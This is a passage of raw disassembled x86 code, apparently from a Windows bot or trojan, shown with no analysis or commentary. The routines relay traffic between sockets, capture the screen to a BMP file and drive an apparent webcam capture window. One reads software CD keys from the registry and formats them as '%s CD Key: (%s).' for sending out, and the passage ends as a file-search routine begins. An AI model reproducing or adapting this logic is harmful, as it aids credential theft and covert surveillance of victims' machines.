		call	sub_4084B3
		pop	ecx
		pop	ecx
		push	edi
		call	ds:dword_43F700	; closesocket
		push	dword ptr [esi]
		call	ds:dword_43F700	; closesocket
		push	[ebp+arg_0]
		call	sub_417076
		pop	ecx
		push	ebx
		call	ds:dword_424054	; ExitThread

loc_40849B:				; CODE XREF: sub_4081EF+B9j
					; sub_4081EF+C6j
		push	dword ptr [esi]
		call	ds:dword_43F700	; closesocket
		push	[ebp+arg_0]
		call	sub_417076
		pop	ecx
		push	ebx
		call	ds:dword_424054	; ExitThread
sub_4081EF	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4084B3	proc near		; CODE XREF: sub_4081EF+286p

var_504		= byte ptr -504h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
var_FC		= dword	ptr -0FCh
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 504h
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		push	edi
		xor	edi, edi
		mov	esi, 400h

loc_4084C9:				; CODE XREF: sub_4084B3+C5j
					; sub_4084B3+F5j
		mov	[ebp+var_100], ebx
		mov	[ebp+var_104], 1
		xor	ecx, ecx
		lea	eax, [ebp+var_100]

loc_4084E1:				; CODE XREF: sub_4084B3+3Cj
		mov	edx, [ebp+arg_0]
		cmp	[eax], edx
		jz	short loc_4084F1
		inc	ecx
		add	eax, 4
		cmp	ecx, 1
		jb	short loc_4084E1

loc_4084F1:				; CODE XREF: sub_4084B3+33j
		cmp	ecx, 1
		jnz	short loc_408506
		mov	[ebp+var_FC], edx
		mov	[ebp+var_104], 2

loc_408506:				; CODE XREF: sub_4084B3+41j
		push	esi
		lea	eax, [ebp+var_504]
		push	edi
		push	eax
		call	sub_417330
		add	esp, 0Ch
		lea	eax, [ebp+var_104]
		push	edi
		push	edi
		push	edi
		push	eax
		push	edi
		call	ds:dword_43F650	; select
		lea	eax, [ebp+var_104]
		push	eax
		push	ebx
		call	ds:dword_43F560	; __WSAFDIsSet
		test	eax, eax
		jz	short loc_408566
		push	edi
		lea	eax, [ebp+var_504]
		push	esi
		push	eax
		push	ebx
		call	ds:dword_43F680	; recv
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4085AE
		push	edi
		push	eax
		lea	eax, [ebp+var_504]
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_43F6B8	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4085AE

loc_408566:				; CODE XREF: sub_4084B3+85j
		lea	eax, [ebp+var_104]
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_43F560	; __WSAFDIsSet
		test	eax, eax
		jz	loc_4084C9
		push	edi
		lea	eax, [ebp+var_504]
		push	esi
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_43F680	; recv
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4085AE
		push	edi
		push	eax
		lea	eax, [ebp+var_504]
		push	eax
		push	ebx
		call	ds:dword_43F6B8	; send
		cmp	eax, 0FFFFFFFFh
		jnz	loc_4084C9

loc_4085AE:				; CODE XREF: sub_4084B3+9Aj
					; sub_4084B3+B1j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4084B3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4085B3	proc near		; CODE XREF: sub_40EE72+45AFp

var_484		= byte ptr -484h
var_84		= dword	ptr -84h
var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_78		= word ptr -78h
var_76		= word ptr -76h
var_74		= dword	ptr -74h
var_70		= dword	ptr -70h
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= word ptr -4Ch
var_4A		= word ptr -4Ah
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= word ptr -30h
var_2E		= dword	ptr -2Eh
var_2A		= word ptr -2Ah
var_28		= word ptr -28h
var_26		= dword	ptr -26h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 484h
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		push	esi
		push	esi
		push	esi
		push	offset aDisplay	; "DISPLAY"
		call	ds:dword_43F654	; CreateDCA
		mov	edi, eax
		cmp	edi, esi
		mov	[ebp+var_20], edi
		jz	loc_4087E7
		push	8
		push	edi
		call	ds:dword_43F670	; GetDeviceCaps
		push	0Ah
		push	edi
		mov	[ebp+var_8], eax
		call	ds:dword_43F670	; GetDeviceCaps
		push	0Ch
		push	edi
		mov	[ebp+var_C], eax
		call	ds:dword_43F670	; GetDeviceCaps
		cmp	eax, 8
		mov	[ebp+var_10], eax
		ja	short loc_408615
		push	18h
		push	edi
		call	ds:dword_43F670	; GetDeviceCaps
		mov	ebx, 100h
		jmp	short loc_408617
; ---------------------------------------------------------------------------

loc_408615:				; CODE XREF: sub_4085B3+50j
		xor	ebx, ebx

loc_408617:				; CODE XREF: sub_4085B3+60j
		push	edi
		call	ds:dword_43F6B4	; CreateCompatibleDC
		cmp	eax, esi
		mov	[ebp+var_4], eax
		jz	loc_4087CC
		mov	eax, [ebp+var_8]
		push	esi
		mov	[ebp+var_80], eax
		mov	eax, [ebp+var_C]
		mov	[ebp+var_7C], eax
		mov	ax, word ptr [ebp+var_10]
		mov	[ebp+var_76], ax
		lea	eax, [ebp+var_18]
		push	esi
		push	eax
		lea	eax, [ebp+var_84]
		push	1
		push	eax
		push	edi
		mov	[ebp+var_84], 28h
		mov	[ebp+var_78], 1
		mov	[ebp+var_74], esi
		mov	[ebp+var_70], esi
		mov	[ebp+var_6C], esi
		mov	[ebp+var_68], esi
		mov	[ebp+var_64], ebx
		mov	[ebp+var_60], ebx
		call	ds:dword_43F6AC	; CreateDIBSection
		cmp	eax, esi
		mov	[ebp+var_1C], eax
		jz	loc_4087D7
		push	eax
		push	[ebp+var_4]
		call	ds:dword_43F544	; SelectObject
		cmp	eax, esi
		jz	loc_4087D7
		cmp	eax, 0FFFFFFFFh
		jz	loc_4087D7
		push	0CC0020h
		push	esi
		push	esi
		push	edi
		push	[ebp+var_C]
		push	[ebp+var_8]
		push	esi
		push	esi
		push	[ebp+var_4]
		call	ds:dword_43F6B0	; BitBlt
		test	eax, eax
		jz	loc_4087D7
		cmp	ebx, esi
		jz	short loc_4086D4
		lea	eax, [ebp+var_484]
		push	eax
		push	ebx
		push	esi
		push	[ebp+var_4]
		call	ds:dword_43F598	; GetDIBColorTable
		mov	ebx, eax

loc_4086D4:				; CODE XREF: sub_4085B3+10Bj
		mov	edi, [ebp+var_10]
		mov	ecx, [ebp+var_8]
		imul	edi, [ebp+var_C]
		imul	edi, ecx
		mov	eax, ebx
		push	esi
		shr	edi, 3
		shl	eax, 2
		mov	[ebp+var_8], eax
		push	80h
		lea	edx, [eax+edi+36h]
		add	eax, 36h
		push	2
		mov	[ebp+var_26], eax
		mov	eax, [ebp+var_C]
		push	esi
		push	esi
		push	40000000h
		push	[ebp+arg_0]
		mov	[ebp+var_50], eax
		mov	ax, word ptr [ebp+var_10]
		mov	[ebp+var_30], 4D42h
		mov	[ebp+var_2E], edx
		mov	[ebp+var_2A], si
		mov	[ebp+var_28], si
		mov	[ebp+var_58], 28h
		mov	[ebp+var_54], ecx
		mov	[ebp+var_4C], 1
		mov	[ebp+var_4A], ax
		mov	[ebp+var_48], esi
		mov	[ebp+var_44], esi
		mov	[ebp+var_40], esi
		mov	[ebp+var_3C], esi
		mov	[ebp+var_38], ebx
		mov	[ebp+var_34], esi
		call	ds:off_424084
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jz	short loc_4087B7
		lea	ecx, [ebp+var_14]
		push	esi
		push	ecx
		lea	ecx, [ebp+var_30]
		push	0Eh
		push	ecx
		push	eax
		call	ds:dword_42407C	; WriteFile
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_58]
		push	28h
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_42407C	; WriteFile
		cmp	ebx, esi
		jz	short loc_408799
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_484]
		push	[ebp+var_8]
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_42407C	; WriteFile

loc_408799:				; CODE XREF: sub_4085B3+1CCj
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		push	edi
		push	[ebp+var_18]
		push	[ebp+arg_0]
		call	ds:dword_42407C	; WriteFile
		push	[ebp+arg_0]
		call	ds:off_424078
		push	1
		pop	esi

loc_4087B7:				; CODE XREF: sub_4085B3+1A2j
		push	[ebp+var_1C]
		call	ds:dword_43F5CC	; DeleteObject
		push	[ebp+var_4]
		call	ds:dword_43F530	; DeleteDC
		mov	edi, [ebp+var_20]

loc_4087CC:				; CODE XREF: sub_4085B3+70j
		push	edi
		call	ds:dword_43F530	; DeleteDC
		mov	eax, esi
		jmp	short loc_4087E9
; ---------------------------------------------------------------------------

loc_4087D7:				; CODE XREF: sub_4085B3+C7j
					; sub_4085B3+D9j ...
		push	edi
		call	ds:dword_43F530	; DeleteDC
		push	[ebp+var_4]
		call	ds:dword_43F530	; DeleteDC

loc_4087E7:				; CODE XREF: sub_4085B3+23j
		xor	eax, eax

loc_4087E9:				; CODE XREF: sub_4085B3+222j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4085B3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4087EE	proc near		; CODE XREF: sub_40EE72+46EBp

var_34		= byte ptr -34h
var_20		= dword	ptr -20h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 34h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	esi
		xor	ebx, ebx
		push	esi
		push	ds:dword_43E100
		push	78h
		push	0A0h
		push	ebx
		push	ebx
		push	40000000h
		push	offset aWindow	; "Window"
		call	ds:dword_43F5C0
		mov	edi, eax
		cmp	edi, ebx
		mov	[ebp+var_4], edi
		jnz	short loc_40882C
		mov	eax, esi
		jmp	loc_4089E2
; ---------------------------------------------------------------------------

loc_40882C:				; CODE XREF: sub_4087EE+35j
		push	edi
		call	ds:dword_43F608	; IsWindow
		test	eax, eax
		jz	short loc_408849
		push	ebx
		push	[ebp+arg_4]
		push	40Ah
		push	edi
		call	ds:dword_43F6C4	; SendMessageA
		jmp	short loc_40884B
; ---------------------------------------------------------------------------

loc_408849:				; CODE XREF: sub_4087EE+47j
		xor	eax, eax

loc_40884B:				; CODE XREF: sub_4087EE+59j
		cmp	eax, ebx
		jnz	short loc_408856

loc_40884F:				; CODE XREF: sub_4087EE+88j
					; sub_4087EE+BCj
		mov	ebx, esi
		jmp	loc_4089D7
; ---------------------------------------------------------------------------

loc_408856:				; CODE XREF: sub_4087EE+5Fj
		push	edi
		call	ds:dword_43F608	; IsWindow
		test	eax, eax
		jz	short loc_408873
		lea	eax, [ebp+var_34]
		push	eax
		push	2Ch
		push	40Eh
		push	edi
		call	ds:dword_43F6C4	; SendMessageA

loc_408873:				; CODE XREF: sub_4087EE+71j
		cmp	[ebp+var_20], ebx
		jz	short loc_40884F
		push	edi
		call	ds:dword_43F608	; IsWindow
		test	eax, eax
		mov	edi, 42Ch
		jz	short loc_408899
		push	ebx
		push	ebx
		push	edi
		push	[ebp+var_4]
		call	ds:dword_43F6C4	; SendMessageA
		mov	[ebp+arg_4], eax
		jmp	short loc_40889C
; ---------------------------------------------------------------------------

loc_408899:				; CODE XREF: sub_4087EE+98j
		mov	[ebp+arg_4], ebx

loc_40889C:				; CODE XREF: sub_4087EE+A9j
		push	[ebp+arg_4]
		call	sub_417B89
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_8], eax
		jz	short loc_40884F
		push	[ebp+arg_4]
		call	sub_417B89
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		jnz	short loc_4088C3
		push	1
		pop	ebx
		jmp	loc_4089D7
; ---------------------------------------------------------------------------

loc_4088C3:				; CODE XREF: sub_4087EE+CBj
		push	[ebp+var_4]
		call	ds:dword_43F608	; IsWindow
		test	eax, eax
		jz	short loc_4088E0
		push	[ebp+var_8]
		push	[ebp+arg_4]
		push	edi
		push	[ebp+var_4]
		call	ds:dword_43F6C4	; SendMessageA

loc_4088E0:				; CODE XREF: sub_4087EE+E0j
		push	[ebp+arg_4]
		push	[ebp+var_8]
		push	esi
		call	sub_417390
		mov	ecx, [ebp+arg_8]
		add	esp, 0Ch
		cmp	ecx, ebx
		jg	short loc_4088FB
		mov	ecx, 280h

loc_4088FB:				; CODE XREF: sub_4087EE+106j
		mov	eax, [ebp+arg_C]
		cmp	eax, ebx
		jg	short loc_408907
		mov	eax, 1E0h

loc_408907:				; CODE XREF: sub_4087EE+112j
		push	[ebp+var_4]
		mov	[esi+4], ecx
		mov	[esi+8], eax
		mov	word ptr [esi+0Eh], 10h
		mov	[esi+14h], ebx
		mov	[esi+10h], ebx
		mov	[esi+20h], ebx
		mov	[esi+24h], ebx
		mov	word ptr [esi+0Ch], 1
		mov	[esi+28h], bl
		mov	[esi+29h], bl
		mov	[esi+2Ah], bl
		mov	[esi+2Bh], bl
		call	ds:dword_43F608	; IsWindow
		test	eax, eax
		mov	edi, 42Dh
		jz	short loc_408951
		push	esi
		push	[ebp+arg_4]
		push	edi
		push	[ebp+var_4]
		call	ds:dword_43F6C4	; SendMessageA

loc_408951:				; CODE XREF: sub_4087EE+153j
		push	[ebp+var_4]
		call	ds:dword_43F608	; IsWindow
		test	eax, eax
		jz	short loc_40896E
		push	ebx
		push	ebx
		push	43Dh
		push	[ebp+var_4]
		call	ds:dword_43F6C4	; SendMessageA

loc_40896E:				; CODE XREF: sub_4087EE+16Ej
		push	[ebp+var_4]
		call	ds:dword_43F608	; IsWindow
		test	eax, eax
		jz	short loc_40898D
		push	[ebp+arg_0]
		push	ebx
		push	419h
		push	[ebp+var_4]
		call	ds:dword_43F6C4	; SendMessageA

loc_40898D:				; CODE XREF: sub_4087EE+18Bj
		push	[ebp+var_4]
		call	ds:dword_43F608	; IsWindow
		test	eax, eax
		jz	short loc_4089AA
		push	[ebp+var_8]
		push	[ebp+arg_4]
		push	edi
		push	[ebp+var_4]
		call	ds:dword_43F6C4	; SendMessageA

loc_4089AA:				; CODE XREF: sub_4087EE+1AAj
		push	[ebp+var_8]
		call	sub_417C3B
		push	esi
		call	sub_417C3B
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	ds:dword_43F608	; IsWindow
		test	eax, eax
		jz	short loc_4089D7
		push	ebx
		push	ebx
		push	40Bh
		push	[ebp+var_4]
		call	ds:dword_43F6C4	; SendMessageA

loc_4089D7:				; CODE XREF: sub_4087EE+63j
					; sub_4087EE+D0j ...
		push	[ebp+var_4]
		call	ds:dword_43F718	; DestroyWindow
		mov	eax, ebx

loc_4089E2:				; CODE XREF: sub_4087EE+39j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4087EE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4089E7	proc near		; CODE XREF: sub_40EE72+47A4p

var_90		= byte ptr -90h
var_7C		= dword	ptr -7Ch
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 90h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	esi
		xor	ebx, ebx
		push	esi
		push	ds:dword_43E100
		push	78h
		push	0A0h
		push	ebx
		push	ebx
		push	40000000h
		push	offset aWindow	; "Window"
		call	ds:dword_43F5C0
		mov	edi, eax
		cmp	edi, ebx
		jnz	short loc_408A25
		mov	eax, esi
		jmp	loc_408C21
; ---------------------------------------------------------------------------

loc_408A25:				; CODE XREF: sub_4089E7+35j
		push	edi
		call	ds:dword_43F608	; IsWindow
		test	eax, eax
		jz	short loc_408A42
		push	ebx
		push	[ebp+arg_4]
		push	40Ah
		push	edi
		call	ds:dword_43F6C4	; SendMessageA
		jmp	short loc_408A44
; ---------------------------------------------------------------------------

loc_408A42:				; CODE XREF: sub_4089E7+47j
		xor	eax, eax

loc_408A44:				; CODE XREF: sub_4089E7+59j
		cmp	eax, ebx
		jnz	short loc_408A4F

loc_408A48:				; CODE XREF: sub_4089E7+8Bj
					; sub_4089E7+BCj
		mov	ebx, esi
		jmp	loc_408C18
; ---------------------------------------------------------------------------

loc_408A4F:				; CODE XREF: sub_4089E7+5Fj
		push	edi
		call	ds:dword_43F608	; IsWindow
		test	eax, eax
		jz	short loc_408A6F
		lea	eax, [ebp+var_90]
		push	eax
		push	2Ch
		push	40Eh
		push	edi
		call	ds:dword_43F6C4	; SendMessageA

loc_408A6F:				; CODE XREF: sub_4089E7+71j
		cmp	[ebp+var_7C], ebx
		jz	short loc_408A48
		push	edi
		call	ds:dword_43F608	; IsWindow
		test	eax, eax
		jz	short loc_408A92
		push	ebx
		push	ebx
		push	42Ch
		push	edi
		call	ds:dword_43F6C4	; SendMessageA
		mov	[ebp+arg_4], eax
		jmp	short loc_408A95
; ---------------------------------------------------------------------------

loc_408A92:				; CODE XREF: sub_4089E7+96j
		mov	[ebp+arg_4], ebx

loc_408A95:				; CODE XREF: sub_4089E7+A9j
		push	[ebp+arg_4]
		call	sub_417B89
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_4], eax
		jz	short loc_408A48
		push	[ebp+arg_4]
		call	sub_417B89
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		jnz	short loc_408ABC
		push	1
		pop	ebx
		jmp	loc_408C18
; ---------------------------------------------------------------------------

loc_408ABC:				; CODE XREF: sub_4089E7+CBj
		push	edi
		call	ds:dword_43F608	; IsWindow
		test	eax, eax
		jz	short loc_408AD9
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	42Ch
		push	edi
		call	ds:dword_43F6C4	; SendMessageA

loc_408AD9:				; CODE XREF: sub_4089E7+DEj
		push	[ebp+arg_4]
		push	[ebp+var_4]
		push	esi
		call	sub_417390
		mov	ecx, [ebp+arg_C]
		add	esp, 0Ch
		cmp	ecx, ebx
		jg	short loc_408AF4
		mov	ecx, 0A0h

loc_408AF4:				; CODE XREF: sub_4089E7+106j
		mov	eax, [ebp+arg_10]
		cmp	eax, ebx
		jg	short loc_408AFE
		push	78h
		pop	eax

loc_408AFE:				; CODE XREF: sub_4089E7+112j
		push	edi
		mov	[esi+4], ecx
		mov	[esi+8], eax
		mov	word ptr [esi+0Eh], 10h
		mov	[esi+14h], ebx
		mov	[esi+10h], ebx
		mov	[esi+20h], ebx
		mov	[esi+24h], ebx
		mov	word ptr [esi+0Ch], 1
		mov	[esi+28h], bl
		mov	[esi+29h], bl
		mov	[esi+2Ah], bl
		mov	[esi+2Bh], bl
		call	ds:dword_43F608	; IsWindow
		test	eax, eax
		jz	short loc_408B43
		push	esi
		push	[ebp+arg_4]
		push	42Dh
		push	edi
		call	ds:dword_43F6C4	; SendMessageA

loc_408B43:				; CODE XREF: sub_4089E7+14Aj
		push	edi
		call	ds:dword_43F608	; IsWindow
		test	eax, eax
		jz	short loc_408B60
		lea	eax, [ebp+var_64]
		push	eax
		push	60h
		push	441h
		push	edi
		call	ds:dword_43F6C4	; SendMessageA

loc_408B60:				; CODE XREF: sub_4089E7+165j
		push	edi
		mov	[ebp+var_60], ebx
		mov	[ebp+var_3C], ebx
		mov	[ebp+var_38], ebx
		mov	[ebp+var_34], ebx
		mov	[ebp+var_30], 1
		mov	[ebp+var_2C], 5
		mov	[ebp+var_64], 1046Ah
		call	ds:dword_43F608	; IsWindow
		test	eax, eax
		jz	short loc_408B9E
		lea	eax, [ebp+var_64]
		push	eax
		push	60h
		push	440h
		push	edi
		call	ds:dword_43F6C4	; SendMessageA

loc_408B9E:				; CODE XREF: sub_4089E7+1A3j
		push	edi
		call	ds:dword_43F608	; IsWindow
		test	eax, eax
		jz	short loc_408BB9
		push	[ebp+arg_0]
		push	ebx
		push	414h
		push	edi
		call	ds:dword_43F6C4	; SendMessageA

loc_408BB9:				; CODE XREF: sub_4089E7+1C0j
		push	edi
		call	ds:dword_43F608	; IsWindow
		test	eax, eax
		jz	short loc_408BD2
		push	ebx
		push	ebx
		push	43Eh
		push	edi
		call	ds:dword_43F6C4	; SendMessageA

loc_408BD2:				; CODE XREF: sub_4089E7+1DBj
		push	edi
		call	ds:dword_43F608	; IsWindow
		test	eax, eax
		jz	short loc_408BEF
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	42Dh
		push	edi
		call	ds:dword_43F6C4	; SendMessageA

loc_408BEF:				; CODE XREF: sub_4089E7+1F4j
		push	[ebp+var_4]
		call	sub_417C3B
		push	esi
		call	sub_417C3B
		pop	ecx
		pop	ecx
		push	edi
		call	ds:dword_43F608	; IsWindow
		test	eax, eax
		jz	short loc_408C18
		push	ebx
		push	ebx
		push	40Bh
		push	edi
		call	ds:dword_43F6C4	; SendMessageA

loc_408C18:				; CODE XREF: sub_4089E7+63j
					; sub_4089E7+D0j ...
		push	edi
		call	ds:dword_43F718	; DestroyWindow
		mov	eax, ebx

loc_408C21:				; CODE XREF: sub_4089E7+39j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4089E7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408C26	proc near		; CODE XREF: sub_40EE72+5889p

var_3F4		= byte ptr -3F4h
var_2F0		= byte ptr -2F0h
var_F0		= byte ptr -0F0h
var_70		= byte ptr -70h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 3F4h
		push	ebx
		xor	ebx, ebx
		cmp	ds:off_42B894, ebx
		mov	[ebp+var_C], 80h
		jz	loc_408DC7
		push	esi
		push	edi
		mov	eax, offset off_42B894
		mov	esi, offset dword_42B8A0
		mov	edi, offset aSCdKeyS_ ;	"%s CD Key: (%s)."

loc_408C56:				; CODE XREF: sub_408C26+199j
		lea	ecx, [ebp+var_4]
		push	ecx
		push	20019h
		push	ebx
		push	dword ptr [eax]
		push	dword ptr [esi-10h]
		call	ds:dword_43F6D8	; RegOpenKeyExA
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_F0]
		push	eax
		push	ebx
		push	ebx
		push	dword ptr [esi-8]
		push	[ebp+var_4]
		call	ds:dword_43F574	; RegQueryValueExA
		test	eax, eax
		jnz	loc_408DAD
		mov	eax, [esi]
		cmp	eax, ebx
		jz	loc_408D71
		push	eax
		lea	eax, [ebp+var_F0]
		push	eax
		lea	eax, [ebp+var_3F4]
		push	offset aSS_3	; "%s\\%s"
		push	eax
		call	sub_4172AE
		lea	eax, [ebp+var_3F4]
		push	offset aR	; "r"
		push	eax
		call	sub_4179A8
		add	esp, 18h
		cmp	eax, ebx
		mov	[ebp+var_8], eax
		jz	loc_408DAD
		push	eax

loc_408CCF:				; CODE XREF: sub_408C26+D4j
		lea	eax, [ebp+var_70]
		push	64h
		push	eax
		call	sub_41900C
		add	esp, 0Ch
		test	eax, eax
		jz	loc_408D66
		push	dword ptr [esi+4]
		lea	eax, [ebp+var_70]
		push	eax
		call	sub_417880
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_408CFC
		push	[ebp+var_8]
		jmp	short loc_408CCF
; ---------------------------------------------------------------------------

loc_408CFC:				; CODE XREF: sub_408C26+CFj
		push	3Dh
		push	dword ptr [esi+4]
		call	sub_418F50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_408D2A
		lea	eax, [ebp+var_70]
		push	offset asc_42CA98 ; "="
		push	eax
		call	sub_418B6E
		push	offset asc_42CA98 ; "="
		push	ebx
		call	sub_418B6E
		add	esp, 10h
		jmp	short loc_408D2D
; ---------------------------------------------------------------------------

loc_408D2A:				; CODE XREF: sub_408C26+E4j
		lea	eax, [ebp+var_70]

loc_408D2D:				; CODE XREF: sub_408C26+102j
		push	eax
		lea	eax, [ebp+var_2F0]
		push	dword ptr [esi-4]
		push	edi
		push	eax
		call	sub_4172AE
		add	esp, 10h
		lea	eax, [ebp+var_2F0]
		push	ebx
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		lea	eax, [ebp+var_2F0]
		push	eax
		call	sub_40BF6D
		add	esp, 18h

loc_408D66:				; CODE XREF: sub_408C26+B9j
		push	[ebp+var_8]
		call	sub_417900
		pop	ecx
		jmp	short loc_408DAD
; ---------------------------------------------------------------------------

loc_408D71:				; CODE XREF: sub_408C26+6Aj
		lea	eax, [ebp+var_F0]
		push	eax
		lea	eax, [ebp+var_2F0]
		push	dword ptr [esi-4]
		push	edi
		push	eax
		call	sub_4172AE
		push	ebx
		lea	eax, [ebp+var_2F0]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		lea	eax, [ebp+var_2F0]
		push	eax
		call	sub_40BF6D
		add	esp, 28h

loc_408DAD:				; CODE XREF: sub_408C26+60j
					; sub_408C26+A2j ...
		push	[ebp+var_4]
		call	ds:dword_43F644	; RegCloseKey
		add	esi, 18h
		cmp	[esi-0Ch], ebx
		lea	eax, [esi-0Ch]
		jnz	loc_408C56
		pop	edi
		pop	esi

loc_408DC7:				; CODE XREF: sub_408C26+19j
		pop	ebx
		leave
		retn
sub_408C26	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408DCA	proc near		; DATA XREF: sub_40EE72+3D60o

var_49C		= byte ptr -49Ch
var_29C		= dword	ptr -29Ch
var_298		= byte ptr -298h
var_218		= byte ptr -218h
var_115		= byte ptr -115h
var_114		= byte ptr -114h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 49Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0A7h
		mov	esi, eax
		lea	edi, [ebp+var_29C]
		rep movsd
		mov	dword ptr [eax+298h], 1
		lea	eax, [ebp+var_114]
		push	eax
		call	sub_417AB0
		xor	ebx, ebx
		cmp	[ebp+eax+var_115], 5Ch
		pop	ecx
		jnz	short loc_408E1F
		lea	eax, [ebp+var_114]
		push	eax
		call	sub_417AB0
		pop	ecx
		mov	[ebp+eax+var_115], bl

loc_408E1F:				; CODE XREF: sub_408DCA+3Fj
		lea	eax, [ebp+var_218]
		push	eax
		push	offset unk_42CAEC
		lea	eax, [ebp+var_49C]
		push	200h
		push	eax
		call	sub_41782A
		add	esp, 10h
		cmp	[ebp+var_8], ebx
		jnz	short loc_408E64
		push	ebx
		lea	eax, [ebp+var_49C]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_298]
		push	eax
		push	[ebp+var_29C]
		call	sub_40D679
		add	esp, 14h

loc_408E64:				; CODE XREF: sub_408DCA+78j
		lea	eax, [ebp+var_114]
		push	ebx
		push	eax
		lea	eax, [ebp+var_218]
		push	eax
		lea	eax, [ebp+var_298]
		push	[ebp+var_C]
		push	eax
		push	[ebp+var_29C]
		call	sub_408EE5
		add	esp, 18h
		push	eax
		lea	eax, [ebp+var_49C]
		push	offset unk_42CABC
		push	eax
		call	sub_4172AE
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_408EC5
		push	ebx
		lea	eax, [ebp+var_49C]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_298]
		push	eax
		push	[ebp+var_29C]
		call	sub_40D679
		add	esp, 14h

loc_408EC5:				; CODE XREF: sub_408DCA+D9j
		lea	eax, [ebp+var_49C]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_10]
		call	sub_417076
		pop	ecx
		pop	ecx
		push	ebx
		call	ds:dword_424054	; ExitThread
		pop	edi
		pop	esi
		pop	ebx
sub_408DCA	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408EE5	proc near		; CODE XREF: sub_408DCA+B9p
					; sub_408EE5+9Ep

var_54C		= byte ptr -54Ch
var_34C		= byte ptr -34Ch
var_248		= byte ptr -248h
var_144		= byte ptr -144h
var_118		= byte ptr -118h
var_117		= byte ptr -117h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 54Ch
		push	ebx
		push	esi
		push	edi
		mov	esi, 104h
		push	[ebp+arg_10]
		lea	eax, [ebp+var_248]
		push	offset aS_5	; "%s\\*"
		push	esi
		push	eax
